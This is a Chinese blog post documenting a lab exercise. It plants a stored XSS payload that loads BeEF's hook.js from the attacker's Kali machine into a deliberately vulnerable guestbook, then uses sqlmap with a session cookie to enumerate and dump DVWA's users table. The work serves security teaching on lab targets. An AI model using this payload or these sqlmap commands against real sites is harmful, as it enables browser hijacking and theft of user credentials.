XSS & SQL injection

最新推荐文章于 2024-04-28 23:08:53 发布
最新推荐文章于 2024-04-28 23:08:53 发布
阅读量472 收藏 1
点赞数
分类专栏： 渗透测试 文章标签： 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Reaper_MXBG/article/details/111244290
版权

Network penetration test experiment _3： XSS & SQL injection

目录

实验目的

了解什么是XSS；了解XSS攻击实施，理解防御XSS攻击的方法；了解SQL注入的基本原理；掌握PHP脚本访问MySQL数据库的基本方法；掌握程序设计中避免出现SQL注入漏洞的基本方法；掌握网站配置。

系统环境

Kali Linux 2、Windows Server

网络环境

交换网络结构

实验工具

Beef；AWVS(Acunetix Web Vulnarability Scanner);SqlMAP；DVWA

实验步骤

XSS部分：利用Beef劫持被攻击者客户端浏览器

实验环境搭建。

角色：留言簿网站。存在XSS漏洞；（IIS或Apache、guestbook搭建）
攻击者：Kali（使用beEF生成恶意代码，并通过留言方式提交到留言簿网站）；
被攻击者：访问留言簿网站，浏览器被劫持。

0. 搭建GustBook网站

在管理工具里打开Internet信息服务(IIS)管理器，在网站文件夹上新建网站，网站描述随意，ip地址为Windows Server的ip，端口80即可。↓

在这里插入图片描述
选择路径的时候除了选取到文件夹还要注意要允许访问匿名网站，否则检查不到漏洞。↓
在这里插入图片描述
权限给满满的。↓
在这里插入图片描述
搭建完网站后更改网站目录权限，添加Everyone用户组并设置为完全控制。↓
在这里插入图片描述
在这里插入图片描述
然后还要改几个小选项。↓
在这里插入图片描述
在这里插入图片描述

1. 利用AWVS扫描留言簿网站

破解进入软件后，点击"File"–“New”–"Web Site Scan"来启动Scan Wizard界面
在Scan single website中输入网址：****，点击Next…………直到出表。↓

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
最后结果如下，于error.asp和add.asp中分别有一个XSS漏洞。↓
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2. Kali使用beef生成恶意代码

Kali-2020中现在不自带Beef，需要咱们自己安装，命令↓
sudo apt-get install beef-xss
然后进入文件夹↓
cd /usr/share/beef-xss
最后输入./beef就ok了。
第一次会提示不要用默认的账号密码的提示，我当时做完忘截图了……，不过报错提示是↓
在这里插入图片描述
按照提示中的文件进行修改 sudo vim /etc/beef-xss/config.yaml
(vim用法自行搜索）
在这里插入图片描述
在这里我把账号密码逆向设置，保存退出后再./beef。↑

注

这个如果是默认用户可能会导致开启失败，所以我们可以切换为root权限，再./beef。（如果本身就是以root开局，那就当我没说）
在这里插入图片描述
在这里插入图片描述
提示已经启动了，然后我就可以用kali的火狐浏览器打开链接http://127.0.0.1:3000/ui/authentication。↓在这里插入图片描述
输入之前设置的账号密码，进入这个页面。↓
在这里插入图片描述
查看XSS脚本。↓
在这里插入图片描述
对方如果访问这个网站，对方的浏览器就会被劫持。

3. 访问http://留言簿网站/message.asp;将恶意代码写入网站留言板

恶意代码：

<script src="http://Kali的IP地址:3000/hook.js"></script>

一开始使用10.34.80.233的那个ip是写死的，我在kali上访问不了，一开始我以为是端口的原因，我就换了个8888端口的，后来扫描发现kali和windows server不在一个网段里，查两者的网关发现两者网关都不一样。所以我就把windows server设为自动获取ip。再次nmap -sP ，两者在同一网段内，kali也可以访问留言簿了。
在这里插入图片描述
看到这个页面发现我们可以说是成功了，看不见我们的html代码表示代码已被成功加载。
在这里插入图片描述

4. 审核用户留言（非严谨）

刷新页面或者点击首页会出弹框。↓（也相当于管理员审核邮件了，但是我的beef用了几次就出问题了，就没模拟管理员审核的步骤。）

在这里插入图片描述
然后我们回到kali这边发现信息已经疯狂加载，红色部分的一直在重复，我就不截图了。↓在这里插入图片描述
可以看到很多信息，我们还可以干一些“活儿”。↓在这里插入图片描述
“活儿”↓
在这里插入图片描述
我们按照箭头指示更改链接为：青柠起始页，并Execute.↑

然后我们浏览留言簿页面就会加载为青柠起始页。↓
在这里插入图片描述

5. 实验中XSS攻击属于哪种类型

实验中的XSS攻击属于注入型XSS攻击。

SQL注入部分：DVWA+SQLmap+Mysql注入实战

实验环境搭建。启动Metasploitable2虚拟机。

  • 小准备，在Metasploitable2查一下的ip

Metasploitable2里的dvwa是搭建好的，直接在kali访问 http://Metasploitable的IP/dvw在这里插入图片描述
设置DVWA Security的等级为low
在这里插入图片描述
第一次输入1，结果如下。↓
在这里插入图片描述
第二次输入1’，结果如下。↓在这里插入图片描述
报错说明有漏洞课钻空子。↑

用sqlmap搞事情，基本语法如下：

  • -u:指定目标URL，即注入点
  • –cookies：当前会话的cookies值
  • -b：获取数据库类型，检查数据库管理系统标识
  • –current-db：获取当前数据库
  • –current-user：获取当前数据库使用的用户
  • -string：当查询可用时来匹配页面中的字符串
  • -users：枚举DBMS用户
  • -password：枚举DBMS用户密码hash
  • dbs：枚举当前数据库
  • -D 数据库名：指定数据库
  • -tables：枚举指定数据库的所有表
  • -T：指定数据库中的数据表
  • –columns：获取列的信息
  • -C：枚举数据表中的列
  • –dump：存储数据表项
实验准备

要用F12抓包获取cookie

注：在遇到的所有的Y/N选择中，一直选Y就好了，三选的直接Enter。

1. 枚举当前使用的数据库名称和用户名

查询当前数据库名称↓
sqlmap -u "http://192.168.238.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=edc3d366bb72538cb8af3df2bbf19979" --current-db
在这里插入图片描述
查询当前数据库的使用者的用户名↓
sqlmap -u "http://192.168.238.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=edc3d366bb72538cb8af3df2bbf19979" --current-user

在这里插入图片描述

2. 枚举数据库和指定数据库的数据表

枚举数据库↓
sqlmap -u "http://192.168.238.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=edc3d366bb72538cb8af3df2bbf19979" -dbs

在这里插入图片描述
枚举指定数据库的数据表↓
sqlmap -u "http://192.168.238.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=edc3d366bb72538cb8af3df2bbf19979" -D dvwa --tables

在这里插入图片描述

3. 获取指定数据库和表中所有列的信息

sqlmap -u "http://192.168.238.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=edc3d366bb72538cb8af3df2bbf19979" -D dvwa --tables -T users -- columns

在这里插入图片描述

4. 枚举指定数据表中的所有用户名与密码,并down到本地

sqlmap -u "http://192.168.238.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=edc3d366bb72538cb8af3df2bbf19979" -D dvwa --tables -T users -C user,password --dump
在这里插入图片描述

Reaper_MXBG
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
XSS跨站攻击，注入代码整理，大全
03-03
XSS跨站攻击，注入代码整理,希望大家支持
web开发常见安全问题（SQL注入、XSS攻击、CSRF攻击）
star
04-16 1万+
web开发常见安全问题（SQL注入、XSS攻击、CSRF攻击）
XSS漏洞检测手段
Kevin's Blog
05-05 7232
文章目录一、手工注入检测1.1 Cheat Sheet二、自动化工具检测2.1 BurpSuite之XSS Validator2.1.1 运行原理2.1.2 插件安装2.1.3 phantomjs安装2.1.4 下载xss.js2.1.5 配置XSS Validator2.1.6 配置Intruder模块2.1.7 XSS漏洞检测2.1.8 工具优缺点2.2 神器之XSSer2.2.1 工具介绍 ...
XSS注入漏洞解决方法(高风险)
热门推荐
weixin_43922510的博客
08-15 1万+
漏洞描述 攻击者往Web页面里插入恶意Script代码，当用户浏览该页之时，嵌入其中Web里面的Script代码会被执行，从而达到恶意攻击用户的目的。 漏洞验证 通过在页面中的留言板，提交框，录入信息框等能够提交参数的地方，尝试注入相关xss代码测试，能够成功执行对应代码功能则存在问题，可能造成流量劫持，篡改、删除页面信息，获取用户cookie信息，盗取账号等不良影响。 修复建议 过滤输入的数...
xss介绍
songxiaomianbao的博客
08-24 779
详情介绍： XSS攻击通常指的是通过利用网页开发时留下的漏洞，通过巧妙的方法注入恶意指令代码到网页，使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript，但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后，攻击者可能得到包括但不限于更高的权限（如执行一些操作）、私密网页内容、会话和cookie等各种内容...
XSS-SQL-Master-Payloads:我的有效载荷集合（XSS，SQL ...）
05-01
我的有效载荷集合（XSS，SQL ...）
WebAttackDetection:该库可以检测Web应用程序攻击，例如SQL Injection和XSS
05-13
Web Attack Detection（Web攻击检测）可以在您的网站上检测到SQL Injection和XSS攻击，并在您的网站受到攻击时向您发送电子邮件。 它可以检测到这些攻击，也可以通过文本字段以及通过URL栏检测到。 入门 请按照以下...
flask-sql-xss-injection-check:Flask扩展名，用于检查传入请求上SQL和XSS注入
04-05
$ pip install -U flask-sql-xss-injection-check用法该软件包公开了Flask扩展，该扩展检查所有传入请求SQL和XSS注入攻击。 from flask import Flaskfrom flask_sql_xss_injection_check import SQLXSSCHECKapp = ...
sql注入 黑客攻击 白帽子讲web安全
08-03
常见攻击：SQL注入，XSS（跨站脚本攻击） “破坏往往比建设容易”，但凡事都不是绝对的。一般来说，白帽子选择的方法，是克服某种攻击方法，而并非抵御单次的攻击。比如设计一个解决方案，在特定环境下能够抵御所有...
网络安全学习：网络安全学习
02-05
网络安全学习：网络安全学习
sql注入xss攻击常见形式和解决方法
01-01
sql注入xss攻击常见形式和解决方法。doc
xss-injection
04-04
Bazingaa 一个名为Bazingaa（实际上是几个PHP页面）的la脚且故意脆弱PHP应用程序，用于在登录页面上演示XSS的利用。 要更深入地了解这一点，请查看此博客文章-
xss注入教程与总结
qq_39616910的博客
02-23 3279
xss注入总结 1 " < >可以用URL编码 %22 %3c %3e HTML 编码 &quot; &lt; &gt; 代替 2 如果过滤 可以用%2522 %26colon; 这种代替尝试 二次转码 3 如果输入框有历史记录 ，个人简介注意使用 发现很多网站对输入框有过滤缺但没有过滤历史记录这些的输出，输出的语句会运行 4 思路就是打破结构 不管是哪里的输入框 还要关注输出（历史记录，标题，评论，个人性息编辑的输出位置等）也可能触发 5 注意空格,减号，..
XSS攻击和SQL注入及解决方案
coderWang
09-02 1858
最近发现公司老项目存在XSS和SQL注入问题，分析及记录下 1.什么是XSS攻击手段 XSS攻击简单来说就是JavaScript脚本语言攻击 1. 如 弹 出 恶 意 警 告 框 ：<script>alert(“XSS”);</script> 2. XSS 输入也可能是 HTML 代码段，譬如： (1) 网页不停地刷新 <meta http-equiv=’re...
链接注入（便于跨站请求伪造）
日拱一卒无有尽，功不唐捐终入海
11-25 1万+
安全风险: 可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息可能会窃取或操纵客户会话和 cookie，它们可能用于模仿合法用户，从而使黑客能够以该用户身份查看或变更用户记录以及执行事务可能会在 Web 服务器上上载、修改或删除 Web 页面、脚本和文件 可能原因 未对用户输入正确执行危险字符清理 技术描述 “链接注入”是修
OWASP Cross-Site Scripting (XSS) 思路笔记
isinstance的博客
02-17 1972
本此实践的WebGoat版本如下所示Phishing with XSSLesson Plan Title: Phishing with XSS（网络钓鱼与 XSS）这个看题目就知道要我们做什么了，主要就算通过XSS来让受害者输入自己的邮箱和密码来达到钓鱼的结果It is always a good practice to validate all input on the server side.
xss(跨站脚本攻击)详解
lonmar的博客
06-25 5387
xss跨站脚本攻击 读书心得,技术总结
保护通信的双重安全：消息认证与身份认证
最新发布
JAZJD的博客
04-28 1478
在网络通信中，散列函数扮演着至关重要的角色。散列函数是一种将任意长度的数据转换成固定长度散列值的算法。这种转换过程是单向的，即无法通过散列值逆向推导出原始数据。常见的散列函数包括MD5、SHA-1和SHA-256等。例如，SHA-256能够将任意长度的数据转换成256位的散列值，具有较高的安全性和抗碰撞性。消息认证是确保通信数据完整性和真实性的重要手段。通过在数据中添加消息认证码（MAC），可以防止数据被篡改或伪造。常见的消息认证算法包括HMAC（基于散列的消息认证码）和CMAC（密码消息认证码）等。
HTB HTML Injection题目求解
04-21
具体的攻击方式和注入点需要具体分析，建议您先了解一些Web安全的基础知识和常用的攻击技巧，例如XSS、SQL注入等。另外，参考一些CTF比赛或者相关的学习资料也可以帮助您更好地理解和掌握HTML注入攻击的方法。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值